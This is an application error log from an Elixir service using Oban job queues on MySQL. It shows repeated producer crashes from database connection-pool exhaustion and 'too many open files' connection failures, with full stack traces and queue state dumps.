    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:34:51.239925Z], limit: 50, uuid: "334b0450-d5f7-4581-af2c-87ca9c51ab04", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:51.239929Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.17431>, refresh_timer: #Reference<0.2525715032.1068498948.17418>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:03.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:34:51.239890Z], limit: 3, uuid: "dadf7e51-3cef-4807-a9f0-5c03e0adfbfe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:51.239896Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23294>, refresh_timer: #Reference<0.2525715032.1099431938.23282>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 890ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:34:51.239272Z], limit: 10, uuid: "4d263889-1400-4cdd-b7c4-94f48287b2a3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:51.239279Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.17429>, refresh_timer: #Reference<0.2525715032.1068498948.17393>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:03.952000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:05.336000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:07.166000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:07.729000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:09.619000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:11.571000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:12.646000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:35:03.241057Z], limit: 5, uuid: "2e880a11-9b90-4194-af09-03dfba6caeea", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:03.241740Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23355>, refresh_timer: #Reference<0.2525715032.1099431938.23333>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:35:03.245798Z], limit: 10, uuid: "82ee5126-c675-45d3-8708-7a0ede32b342", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:03.245804Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23358>, refresh_timer: #Reference<0.2525715032.1077411843.252991>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:35:03.241013Z], limit: 5, uuid: "30ce35f0-85a9-464a-9562-d7b5b120df1c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:03.241021Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23356>, refresh_timer: #Reference<0.2525715032.1099431938.23328>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:35:03.241812Z], limit: 20, uuid: "14cfcab8-65ec-4a60-82db-0ba0c7fac42b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:03.241818Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23354>, refresh_timer: #Reference<0.2525715032.1099431938.23338>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:35:03.244540Z], limit: 3, uuid: "246a84fe-55ab-4e14-b3ec-329cacf88925", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:03.244545Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23357>, refresh_timer: #Reference<0.2525715032.1099431938.23349>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1077ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:35:03.244658Z], limit: 50, uuid: "4334ba21-88f6-4e84-aca2-e6fa261e7b29", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:03.244663Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.17788>, refresh_timer: #Reference<0.2525715032.1121189889.123669>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:19.669000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:20.312000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:20.956000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
